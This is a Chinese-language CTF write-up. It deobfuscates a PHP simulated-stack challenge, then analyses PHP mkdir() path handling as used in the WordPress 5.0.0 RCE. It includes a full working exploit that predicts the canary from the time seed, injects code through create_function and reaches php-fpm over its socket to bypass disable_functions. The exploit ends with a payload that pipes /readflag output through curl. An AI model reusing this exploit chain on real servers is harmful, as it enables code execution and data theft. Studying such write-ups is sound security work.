if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
$disable_functions = $disable_functions.$f.",";
}
}

ini_set("disable_functions", $disable_functions);
ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");


$GLOBALS[O0] = array (
0 => 'sandbox.php',
1 => 'time',
2 => 'srand',
3 => 'define',
4 => 'INS_OFFSET',
5 => 'rand',
6 => 'eax',
7 => 'ebp',
8 => 'esp',
9 => 'eip',
10 => 'array_flip',
11 => 'array_walk',
12 => 'aslr',
13 => 'strlen',
14 => 'str_split',
15 => 'str_pad',
16 => '' . "\0" . '',
17 => 'strrev',
18 => 'bin2hex',
19 => 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789',
20 => 'handle_data',
21 => 'gen_canary',
22 => 'emmmmmm...Don\'t attack me!',
23 => 'dechex',
24 => 'pushdata',
25 => 'count',
26 => 'check_canary',
27 => 'hex2bin',
28 => 'root says: ',
29 => 'pop',
30 => 'eax',
31 => 'recover_data',
32 => 'explode',
33 => 'eip',
34 => 'call',
35 => 'hexdec',
36 => 'get_data_from_reg',
37 => 'array_push',
38 => 'call_user_func_array',
39 => 'call_user_func',
40 => 'data error',
41 => 'O0OO0',
42 => 'stack',
43 => 'class_alias',
44 => 'data',
45 => 'array_search',
46 => 'phpinfo',
47 => '--------------------output---------------------</br></br>',
48 => 'outputdata',
49 => '</br></br>------------------phpinfo()------------------</br>',
50 => 'ret',
);

//file_put_contents('array.php',var_export($GLOBALS[O0],true));
//require_once $GLOBALS{O0}[0];


$seed = time();
echo "time=".$seed;
srand($seed);
define(INS_OFFSET,rand(0x0000,0xffff));

echo "INS_OFFSET=".INS_OFFSET."#";


$regs = array(
eax=>0x0,
ebp=>0x0,
esp=>0x0,
eip=>0x0,
);


function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}
$func_ = array_flip($func);
array_walk($func_,aslr);
$plt = array_flip($func_);

echo "id=".array_search("var_dump", $plt)."\n";

function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));


$O0O0 = str_split($OOO,0x000004);

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

function gen_canary(){$O0O00=&$GLOBALS{O0};
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}
$canary = gen_canary();
$canarycheck = $canary;

function check_canary(){
global $canary;

global $canarycheck;

if($canary != $canarycheck){
die("emmmmmm...Don't attack me!");
}

}

Class O0OO0{

private $ebp,$stack,$esp;

public function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();

global $regs;

$this->ebp = &$regs[ebp];

$this->esp = &$regs[esp];

$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

global $canary;

$this->stack[$this->ebp - 0x4] = &$canary;

$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);

$this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);

echo "esp=".$this->esp;

$this->stack[$this->ebp + 0x4] = dechex($O0OOO);

echo "ilikeit=".dechex($O0OOO),"&";

if($OO000 != NULL)
$this->{pushdata}($OO000);
}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = handle_data($OO0O0);

for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
//no args in my stack haha
check_canary();

}
}

public function recover_data($OOO0O){$OOOO0=&$GLOBALS{O0};

return hex2bin(strrev($OOO0O));


}


public function outputdata(){$O0000O=&$GLOBALS{O0};
global $regs;

echo "root says:" ;

while(0x001){
if($this->esp == $this->ebp-0x4)
break;
$this->{pop}(eax);

$OOOOO = $this->{recover_data}($regs[eax]);

$O00000 = explode("\0",$OOOOO);

echo $O00000[0];

if(count($O00000)>0x001){
break;
}
}

}
public function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;

$this->{pop}(ebp);

$this->{pop}(eip);

$this->{call}();

}

public function get_data_from_reg($O000OO){$O00OO0=&$GLOBALS{O0};
global $regs;

$O00O00 = $this->{recover_data}($regs[$O000OO]);

$O00O0O = explode("\0",$O00O00);

return $O00O0O[0];

}

public function call()
{$O0OO00=&$GLOBALS{O0};
global $regs;

global $plt;

$O00OOO = hexdec($regs[eip]);

echo $plt[$O00OOO];

if(isset($_REQUEST[$O00OOO])) {
echo "yes";
$this->{pop}(eax);
$O0O000 = (int)$this->{get_data_from_reg}(eax);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{pop}(eax);
$O0O0OO = $this->{get_data_from_reg}(eax);
array_push($O0O00O,$_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO],$O0O00O);
}
else {
call_user_func($plt[$O00OOO]);
}

}

public function push($O0OO0O){$O0OOOO=&$GLOBALS{O0};
global $regs;

$O0OOO0 = $regs[$O0OO0O];

if( hex2bin(strrev($O0OOO0)) == NULL ) die("data error");
$this->stack[$this->esp] = $O0OOO0;

$this->esp -= 0x000004;

}

public function pop($OO0000){
global $regs;

$regs[$OO0000] = $this->stack[$this->esp];

$this->esp += 0x000004;


}

public function __call($OO000O,$OO00O0)
{
check_canary();

}

}
$GLOBALS{O0}{43}(O0OO0,'stack',0);print_R(O0OO0);print_R(stack);

if(isset($_POST["data"])) {
$phpinfo_addr = array_search("phpinfo", $plt);
$gets = $_POST["data"];
$main_stack = new stack($phpinfo_addr, $gets);
echo "--------------------output---------------------</br></br>";
$main_stack->{"outputdata"}();
echo "</br></br>------------------phpinfo()------------------</br>";
$main_stack->{"ret"}();
}
优化后的其中一些 echo 和 var_dump()是测试数据用的,并不是原source code 里面的东西。接着看data数据到底进入哪里了,视角直接转到最后。用传进来的data,实例化了一个新的stack。

stack 是上面这个类的别名,直接看构造函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public  function __construct($O0OOO,$OO000) {$OO00O=&$GLOBALS{O0};
$this->stack = array();

global $regs;

$this->ebp = &$regs[ebp];

$this->esp = &$regs[esp];

$this->ebp = 0xfffe0000 + rand(0x0000,0xffff);

global $canary;

$this->stack[$this->ebp - 0x4] = &$canary;

$this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);

$this->esp = $this->ebp - (rand(0x20,0x60)*0x000004);

echo "esp=".$this->esp;

$this->stack[$this->ebp + 0x4] = dechex($O0OOO);

echo "ilikeit=".dechex($O0OOO),"&";

if($OO000 != NULL)
$this->{pushdata}($OO000);
}

esp,ebp,eip,eax。 熟悉栈调用的同学肯定不会陌生,esp栈顶,ebp栈底,eip指向执行的位置,eax 是返回值。

可以很清晰的看出,stack的构造函数定义了一个函数调用时栈分配情况。还有canady的保护,栈顶也是随机分配的,即这个调用栈的大小是随机的。

前面也有aslr的保护,函数地址随机化。既然是栈的结构,那么可以看看,我们数据是怎么入栈。接着跟着 \(this->{pushdata}(\)OO000);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function handle_data($OOO){$OO0O=&$GLOBALS{O0};
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));


$O0O0 = str_split($OOO,0x000004);

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

public function pushdata($OO0O0){$OOO00=&$GLOBALS{O0};
$OO0O0 = handle_data($OO0O0);

for($OO0OO=0;$OO0OO<count($OO0O0);$OO0OO++){
$this->stack[$this->esp+($OO0OO*0x000004)] = $OO0O0[$OO0OO];
//no args in my stack haha
check_canary();

}
}

传入的数据会经过handle_data 进行分割。字符每4位为一个存储单元。不足4位拿\0填充,但是这个分配过程没看懂,会根据除4余数的大小不一样分配多一个单元,列如7位字符应该只需2个存储单元,但是它分配了3个。没看懂这个分配过程,简单除4向上取整不就行了吗?但是不影响后面的过程,可能这也是一种混淆吧:)

再看pushdata,拿到经过分割的数据,放进栈里,分配多少就存多少,过程中存在canary的检查。这很明显是一个栈溢出嘛,但是怎么绕过canary的检查呢?

仔细看一下canary的生成过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function gen_canary(){
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}

也是随机生成4位的字符,但是别忘了rand不是一个真正的随机函数。

1
2
3
$seed = time();
echo "time=".$seed;
srand($seed);
只要时间种子一样,通过rand()结果都是一样的。是的我们可以自己计算出远程服务器上的rand()结果。这样canary也可以拿到,同样经过随机化的函数地址,同样可以拿到。

我们需要覆盖多大的地址,同样esp也是edp-rand()*4得到的,我们可以知道栈的大小。

下面看一下$main_stack->{"outputdata"}(); 函数调用的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public  function ret(){$O000O0=&$GLOBALS{O0};

$this->esp = $this->ebp;

$this->{pop}(ebp);

$this->{pop}(eip);

$this->{call}();

}

public function call()
{
global $regs;

global $plt;

$O00OOO = hexdec($regs[eip]);

echo $plt[$O00OOO];

if(isset($_REQUEST[$O00OOO])) {
echo "yes";
$this->{pop}(eax);
$O0O000 = (int)$this->{get_data_from_reg}(eax);
$O0O00O = array();
for($O0O0O0=0;$O0O0O0<$O0O000;$O0O0O0++){
$this->{pop}(eax);
$O0O0OO = $this->{get_data_from_reg}(eax);
array_push($O0O00O,$_REQUEST[$O0O0OO]);
}
call_user_func_array($plt[$O00OOO],$O0O00O);
}
else {
call_user_func($plt[$O00OOO]);
}

}

正常的函数返回过程,但是函数执行的需要的参数并不在栈里面,正如前面那行注释说的//no args in my stack haha。 lol

接着看函数调用的过程,函数的地址在eip里面,是前面储存phpinfo的地址。可以看到它是有带参数执行函数的流程的,首先我们要进入这个if, $O00OOO 是模拟函数表里面phpinfo的地址,这个值我们可以在本地计算,在post里面指定一下就行。接着往下走,又从栈里取了一行数据,用在下面for语句判断条件里面,可以想到应该是参数的个数,接着进入for循坏里面,同样是接着从栈里拿数据,当做key值从REQUEST 取值,存到参数数组里面。

看到这里,你可以明了我们可以执行任意函数。分析一下整个过程,我们需要根据栈的大小覆盖调用函数的地址,控制传参。前面说到栈的大小也是ebp-rand()*4 动态分配的,但是整个过程我们是可以在本地计算的。同样我们想要调用的函数地址,也是可以计算拿到的。

接下就是执行/readflag,但是你可能有点绝望,是我绝望了,看一看disable_function禁了哪些函数

1
file_get_contents,file_put_contents,fwrite,file,chmod,chown,copy,link,fflush,mkdir,popen,rename,touch,unlink,pcntl_alarm,move_upload_file,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,fsockopen,pfsockopen,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,curl_init,curl_exec,curl_multi_init,curl_multi_exec,dba_open,dba_popen,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,dl,putenv

基本全禁,我都寻思这时不要弄0day上了,这前面的过程我拿到题目是从Team里面的小伙伴手里,我没有去官方上看,而后我去了比赛的官网,看见了官方给的hint

1
run.sh =>#!/bin/sh service --status-all | awk '{print $4}'| xargs -i service {} start sleep infinity;

这是什么意思呢?开了所有的服务,服务和bypass disable_function有什么联系呢,我开了docker了。一个可以利用的不是本地服务的php-fpm映入我的眼帘,php-fpm服务? 我突然意识到,我知道了,SSRF~

题目中的php 是apache2下的mod_php,php.in仅影响的是 /php7.3/apache2/

fpm是一个新的sapi,熟悉php内核的朋友不会陌生sapi是php的最外层接口。fpm是一个新的接口,有自己的php.ini。不会受apache2下的影响。现在要做的就是SSRF访问fpm的接口。默认的fpm接口是unix 套接字监听。 在docker 下netstat -an 你可以看见fpm的监听状态

1
/run/php/php7.3-fpm.sock

so, 接下来就是建立和fpm的套接字并发送我们执行/readflag的playload

你能找到一个建立连接并发送Post的函数,没有! 所以是多行语句执行,你能getshell吗? 不能,file_put_contents已经被禁用了。这时候别忘了还有inject create_function,我们是可以执行多行语句的,用于ssrf的函数禁了大半,但是仔细检查文件操作类函数,其实还有 stream_socket_client stream_socket_sendto 然后发送一个完整的fastcgi请求:),同时fastcgi 有一个auto_prepend_file字段是可以预加载php文件的。

下面是我完整的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
/**
* Created by PhpStorm.
* User: maple
* Date: 2019/4/29
* Time: 15:29
*/

$seed = time();
srand($seed);
echo "time=".$seed."\n";

define("INS_OFFSET",rand(0x0000,0xffff));

echo "INS_OFFSET=".INS_OFFSET;

function aslr(&$O00,$O0O)
{
$O00 = $O00 + 0x60000000 + INS_OFFSET + 0x001 ;

}

$func = get_defined_functions()["internal"];

$func_ = array_flip($func);
array_walk($func_,"aslr");
$plt = array_flip($func_);


function handle_data($OOO){
$O000 = strlen($OOO);

$O00O = $O000/0x000004+(0x001*($O000%0x000004));

$O0O0 = str_split($OOO,0x000004);//拆分为4字节

$O0O0[$O00O-0x001] = str_pad($O0O0[$O00O-0x001],0x000004,"\0");

foreach ($O0O0 as $O0OO=>&$OO00){
$OO00 = strrev(bin2hex($OO00));

}
return $O0O0;

}

function gen_canary(){
$OOOO = "abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789";

$O0000 = $OOOO[rand(0,strlen($OOOO)-0x001)]; //rand2

$O000O = $OOOO[rand(0,strlen($OOOO)-0x001)];//rand3

$O00O0 = $OOOO[rand(0,strlen($OOOO)-0x001)];//rand4

$O00OO = "\0";

return handle_data($O0000.$O000O.$O00O0.$O00OO)[0];

}

$canary = gen_canary();

$ebp = 0xfffe0000 + rand(0x0000,0xffff);

rand(0,1);

$esp = $ebp - (rand(0x20,0x60)*0x000004);

$func_base = dechex($phpinfo_addr = array_search("var_dump", $plt));//get_defined_vars()

echo "id=".array_search("create_function", $plt)."\n";
echo "func=".$plt[hexdec($func_base)];
//1610653932

//1610653908
$data = "/readflag";

$data=$data.str_repeat("A",$ebp-$esp-strlen($data)-4);

//echo "canary=".$canary."\n";

$data = $data.hex2bin(strrev($canary)); //fill canary

//echo "canary=".strrev(bin2hex(hex2bin(strrev($canary))));


$data = $data."AAAA";
//$data = $data."BBBB";

$data = $data.hex2bin(strrev($func_base)); // fill func_base

//echo "*******".strrev(bin2hex(hex2bin(strrev($func_base))));
$data = $data."0001"."cccc"."dddd";
$body = "data=".urlencode($data);
$data = $data."0002"."cccc"."qqqq";

$body = "data=".urlencode($data);
$body = $body."&".hexdec($func_base)."=1"."&cccc=".urlencode('$a')."&qqqq=".urlencode('}stream_socket_client("unix:///run/php/php7.3-fpm.sock", $errno, $errstr,30);$out = base64_decode("AQEAAQAIAAAAAQAAAAAAAA==AQQAAQAuAAAPHVNDUklQVF9GSUxFTkFNRS92YXIvd3d3L2h0bWwvZGVjb2RlX2ZpbGUucGhwAQQAAQAUAAAOBFJFUVVFU1RfTUVUSE9EUE9TVL==AQQAAQASAAAOAkNPTlRFTlRfTEVOR1RINzF=AQQAAQAvAAAMIUNPTlRFTlRfVFlQRWFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZA==AQQAAQBBAAAJNlBIUF9WQUxVRWFsbG93X3VybF9pbmNsdWRlID0gT24KYXV0b19wcmVwZW5kX2ZpbGUgPSBwaHA6Ly9pbnB1dD==AQQAAQAQAAANAURPQ1VNRU5UX1JPT1QvAQQAAQAAAAA=");stream_socket_sendto($fp,$out);fclose($fp);');

$opts = array(

'http' =>array(
'method'=>"POST",
'header' =>"Content-Type: application/x-www-form-urlencoded\r\n", //Cookie: XDEBUG_SESSION=PHPSTORM\r\n
'content' => $body
)

);
$context = stream_context_create($opts);
$res = file_get_contents('http://127.0.0.1:80/decode_file.php',false, $context);
print_r($res);

对于fastcgi请求的构造,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include <stdio.h>
#include <stdlib.h>
#include "fcgi.h"
#include <sys/types.h>
#include <sys/socket.h>

int main()
{
FastCgi_t *c;
c = (FastCgi_t *)malloc(sizeof(FastCgi_t));
char res[99999];
FastCgi_init(c);
setRequestId(c, 1);
startConnect(c);
sendStartRequestRecord(c);

sendParams(c, "SCRIPT_FILENAME", "/var/www/html/decode_file.php");
sendParams(c, "REQUEST_METHOD", "POST");
sendParams(c, "CONTENT_LENGTH", "71"); // 71 为body的长度 !!!!
sendParams(c, "CONTENT_TYPE", "application/x-www-form-urlencoded");
sendParams(c, "PHP_VALUE","allow_url_include = On\nauto_prepend_file = php://input");
sendParams(c, "DOCUMENT_ROOT","/");
sendEndRequestRecord(c);

/*FCGI_Header makeHeader(int type, int requestId,
int contentLength, int paddingLength)*/

FCGI_Header t = makeHeader(FCGI_STDIN, c->requestId_, 71, 0); // 71 为body的长度 !!!!
send(c->sockfd_, &t, sizeof(t), 0);


send(c->sockfd_, "<?php system('/readflag | xargs -i curl 127.0.0.1:9999 -d {}');die();?>", 71, 0); // 71 为body的长度 !!!!


FCGI_Header endHeader;
endHeader = makeHeader(FCGI_STDIN, c->requestId_, 0, 0);
send(c->sockfd_, &endHeader, sizeof(endHeader), 0);

printf("end-----\n");

readFromPhp(c,res);

printf("%s\n",res);

FastCgi_finit(c);
return 0;
}

当然你想怎样构造随你意:) ,上面的fastcgi库在我的github上,连接如下 https://github.com/m4p1e/fastcgi

第一次遇见这样的web题,是我转PWN一个好的过度!

我的Team “漆吴”,名字取自山海经,漆吴山传说是太阳歇息的地方,这个Team 只关于纯粹的热爱,探索,就像古老的山海经的世界一样,神秘,绚丽多彩。欢迎一群志同道合的朋友加入,有兴趣朋友请赶快联系我! maple_#outlook

探究Mkdir() in PHP

0X01 起因

在复现分析Wordpress-5.0.0 RCE 的时候,因为在写图片的过程中,根据图片的dirname创建目录,而后根据basename写入图片。在目录创建成功的前提下,应该是可以写入文件的。但是情况却不是如此,过程中我要在写目标图片前,必须还要再写一个辅助图片。其实这个辅助图片不是很重要,而重要的是这个辅助图片的目录创建。

过程中列如需要写入目标文件为

1
/var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?/../../../../themes/twentynineteen/1.jpg
需要先写一张
1
/var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?/1.jpg
为什么会这样的,假设直接写目标文件,过程中会首先创建目录:
1
@mkdir('/var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?/../../../../themes/twentynineteen',777,true);
其实这个过程是没有创建任何目录的,因为判断是directory already ,到下一步写入图片这里是Imagick::writeImage。这里就会出问题,invaild file path.报错。因为这里不存在 /var/www/html/wordpress/wp-content/uploads/2019/03/1.jpg?这个目录,这涉及到系统调用,因系统的不同相对于的系统处理函数处理的方式也不同。

列如在kali 下 Imagick::writeImage写入 ./1?/../1.png , ./1? 这个目录是会报错的。具体系统调用如下

1
2
[pid 10285] stat("./1?/../1.png", 0x561a1fe53a48) = -1 ENOENT (No such file or directory)
[pid 10285] openat(AT_FDCWD, "./1?/../1.png", O_RDWR|O_CREAT|O_TRUNC, 0666) = -1 ENOENT (No such file or directory)
首先判断了这个文件的状态,而后调用openat 打开这个文件并不存在。AT_FDCWD表示打开的文件位置相对于当前目录。这是我在做的时候遇到的情况。(Linux)

但是在文章 WORDPRESS IMAGE 远程代码执行漏洞分析

一文中,甚至其他另一篇。都没提到两次写图片。难道因为window和linux的不同吗?就这个问题我进行了一次对mkdir的探究。发现其实有很有趣。

0x02 PHP源码 && 系统区别 之mkdir()

2.1 Linux && PHP 7.3.2-3

1
2
mkdir('./1?/../1',777,true);
mkdir('./1?/../1',777false);

当第三参数为$recursivetrue 时可以写目录,先说一下这个参数的含义$recursive用来循环创建目录。什么意思呢,当false时只能创建1级目录,即目录连接符最后的一个目录。而当true时是可以创建多级目录至到最后一个目录。列如./a/b/c当abc都不存在时,会通过系统函数mkdir循环创建目录,abc都会被创建,但若为false会因为走到a处目录不存在,则不回去创建最后一个c。

但是第一个mkdir即使为true却也没有创建1?目录 ,这里我们从php内部mkdir执行情况 和 系统 mkdir 执行情况来探究。

2.1.1 PHP_FUNTCION(mkdir)

我们在出现分支的地方细分 /php-src/main/streams/plain_wrapper.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
static int php_plain_files_mkdir(php_stream_wrapper *wrapper, const char *dir, int mode, int options, php_stream_context *context)
{
int ret, recursive = options & PHP_STREAM_MKDIR_RECURSIVE;
char *p;

if (strncasecmp(dir, "file://", sizeof("file://") - 1) == 0) {
dir += sizeof("file://") - 1;
}

if (!recursive) {
ret = php_mkdir(dir, mode);
} else {
/* we look for directory separator from the end of string, thus hopefuly reducing our work load */
char *e;
zend_stat_t sb;
size_t dir_len = strlen(dir), offset = 0;
char buf[MAXPATHLEN];

if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
php_error_docref(NULL, E_WARNING, "Invalid path");
return 0;
}
#### 2.1.1.1 \(recursive = fasle 其中出现的分支的地方在判断`\)recursive若是不需要循环创建则直接进入php_mkdir`

/php-src/ext/standard/file.c

1
2
3
4
PHPAPI int php_mkdir(const char *dir, zend_long mode)
{
return php_mkdir_ex(dir, mode, REPORT_ERRORS);
}
跟进php_mkdir_ex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
PHPAPI int php_mkdir_ex(const char *dir, zend_long mode, int options)
{
int ret;

if (php_check_open_basedir(dir)) {
return -1;
}

if ((ret = VCWD_MKDIR(dir, (mode_t)mode)) < 0 && (options & REPORT_ERRORS)) {
php_error_docref(NULL, E_WARNING, "%s", strerror(errno));
}

return ret;
}

首先会检查open_basedir,接着会进入VCWD_MKDIR,VCWD_MKDIR是个宏命令,有三种不同定义:

1
2
3
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#define VCWD_MKDIR(pathname, mode) php_win32_ioutil_mkdir(pathname, mode)
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)
在这里我刚开始并没有考虑太多,跟着gdb的流程走,直接执行mkdir(),会直接调用系统的_mkdir().

1
mkdir("./1?/../1", 01411) = -1 ENOENT (No such file or directory)

会直接报错。在预料之类,linux系统下mkdir是不允许这样创建目录的,会效验每一层目录的有效性。回到第一次出现分叉的时候

2.1.1.2 $recursive = true

1
2
3
4
5
6
7
8
9
10
11
else {
/* we look for directory separator from the end of string, thus hopefuly reducing our work load */
char *e;
zend_stat_t sb;
size_t dir_len = strlen(dir), offset = 0;
char buf[MAXPATHLEN];

if (!expand_filepath_with_mode(dir, buf, NULL, 0, CWD_EXPAND )) {
php_error_docref(NULL, E_WARNING, "Invalid path");
return 0;
}

这里会进入expand_filepath_with_mode,这里其实很熟悉,之前也是在看路径处理的时候看到过这个函数,它是一个展开函数,会通过递归的方式展开需要被创建的目录。在其过程会先把相对目录和当前脚本执行目录评价起来,若是绝对目录则忽略. 其中我们的相对目录为 ./1?/../1会变成 /var/www/html/WordPress/wp-content/themes/4/5/6/./1?/../1 当前我所在的目录为 /var/www/html/WordPress/wp-content/themes/4/5/6 然后通过递归的方式 去掉 ../, ./ ,//.并且对应目录前移,会变成 /var/www/html/WordPress/wp-content/themes/4/5/6/1 然后在传递给系统的mkdir函数。

在这个函数里面存在win32 和 linux的不同分支,但在具体处理之前win32判断了目录名不能存在 *

1
2
3
4
5
6
#ifdef ZEND_WIN32
if (memchr(resolved_path, '*', path_length) ||
memchr(resolved_path, '?', path_length)) {
return 1;
}
#endif
注意一下此处! 附上strace 截图,也是验证上诉分析过程
1
mkdir("/var/www/html/WordPress/wp-content/themes/4/5/6/1", 01411) = 0
### 2.1.2 Mkdir In Linux 在linux中单纯的mkdir是会层层验证目录,而后在创建一级目录。mkdir 也可以带参 -p,代表系统层面循环的创建目录。 当执行mkdir -p 时 :
1
2
3
strace -f -e trace=mkdir  mkdir -p  ./1?/../1
mkdir("1?", 0777) = 0
mkdir("1", 0777) = 0
我们能看到它并不像php内部那样,展开而后处理 。它会层层按照输入的目录创建。

2.2 window && PHP 7.0.12

这里是我为什么要探究的一个重要问题点所在,在前面我提到的那篇文章中作者在window下实验当$recursivefalse才能创建成功,正好是反着的。作者的解释的false的时候不会去层层判断,但是真的是这样吗?

而后我也做了一个验证性的实验,在window 上用 php 5.6做了这个测试,但是结果让我疑惑了,无论在false还是 true的情况都不会创建目录.而且报错也很有意思,在false的情况下报错 no error 但是就是无法创建。在true的情况下报错 invaild argument

难道是php-cli 问题?我又用cgi测了一遍,发现同样是这样。有意思,而后我通过邮件联系了那篇文章作者,询问其版本号。很快,得到了他的答复,php-7.0.12

于是下载php-7.0.12源码 重新编译加debug,此处省略1000字... 在编译完成后我迫不及待的试了一下,同样如此和我的php5.6 一摸一样,无论在cli 模式 或者 cgi 模式下都是无法复现作者文中的情况。这到底问题出在哪呢?

先调了再说,VS调试php 网上基本上没有详细的接受,有的都是Vscode。我不知道如何启动并调试,只好想了个attach的办法。在mkdir前面写上sleep(10),还是在php_plain_files_mkdir这个地方下断,刷新页面,attach到启动的php-cgi 上。

2.2.1 PHP_FUNCTION(mkdir)

2.2.1.1 $recursive == false

还是先分析false的情况,前面都一样,不同的是在php_mkdir_exVCWD_MKDIR调用的函数不一样

1
ret = VCWD_MKDIR(dir, (mode_t)mode)

这次走到不一样的调用上

1
#define  VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
跟进virtual_mkdir

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
CWD_API int virtual_mkdir(const char *pathname, mode_t mode) 
{
cwd_state new_state;
int retval;
CWD_STATE_COPY(&new_state, &CWDG(cwd));
if (virtual_file_ex(&new_state, pathname, NULL, CWD_FILEPATH)) {
CWD_STATE_FREE_ERR(&new_state);
return -1;
}
#ifdef ZEND_WIN32
retval = mkdir(new_state.cwd);
#else
retval = mkdir(new_state.cwd, mode);
#endif
CWD_STATE_FREE_ERR(&new_state);
return retval;
}

同样调用了virtual_file_ex(),前面有一点没提到,在expand展开路径的过程中最后其实也是进入的这个函数,前面说过在处理的过程中若是win32的情况会判断路径存不存在 *, ?.若是存在则会直接返回1,不会进入后面写路径。为什么那篇文章的作者会在false的情况下写成功呢?

2.2.1.1 $recursive == true

这里前面说过这里会进行expand过程,但是同样会判断路径名中存不存在*, ?,会报错 Invaild Path。

2.2.2 mkdir in window

这里因为没有都没有执行到写目录。此处我们还无法探究window系统mkdir 函数是如何执行的。

0x03 线程安全与非线程安全

重新梳理一下,现在是三种不一样的情况: linux /true 可写 window/7.0.12 : 1. false 可写 2. true/false 都不可写

window 出现了两种情况。仔细在走一遍window/false的情况,现在我唯一没有考虑到是VCWD_MKDIR 选择情况。前面都是跟着调试流程走的,这是唯一可能出现分叉的地方,重新看一下它的两种种宏定义:

1
2
3
4
5
 #ifdef VIRTUAL_DIR
#define VCWD_MKDIR(pathname, mode) virtual_mkdir(pathname, mode)
#else
#define VCWD_MKDIR(pathname, mode) mkdir(pathname, mode)
#endif
若非那片文章作者,是走的第二个define,于是我把第一个define先注释掉了,换上了第二个define,再重新编译一边,结果竟然出现了和那篇作者一样的情况。那么很显然问题现在出现在 VIRTUAL_DIR 定义的情况,在它没有定义的情况下,才会走到第二个define,我看看VIRTUAL_DIR 是在哪被定义的

/php-src/Zend/zend_virtual_cwd.h

1
2
3
#ifdef ZTS
#define VIRTUAL_DIR
#endif
